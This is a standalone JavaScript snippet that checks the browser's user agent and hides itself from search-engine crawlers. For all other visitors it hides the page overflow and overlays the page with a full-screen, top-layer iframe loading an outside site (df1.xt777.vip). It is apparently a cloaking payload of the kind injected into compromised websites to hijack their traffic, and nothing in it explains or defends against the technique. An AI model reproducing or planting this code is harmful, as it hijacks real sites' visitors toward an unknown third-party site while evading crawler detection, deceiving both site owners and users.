if ((navigator.userAgent.match(/(spider|bot)/ig)))  {}
 else if((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) {
var url = "https://df1.xt777.vip";
var str1 = document.title;
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />'); 
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src=' + url +' frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');
}else{
var url = "https://df1.xt777.vip";
var str1 = document.title;
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />'); 
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src=' + url +' frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');
}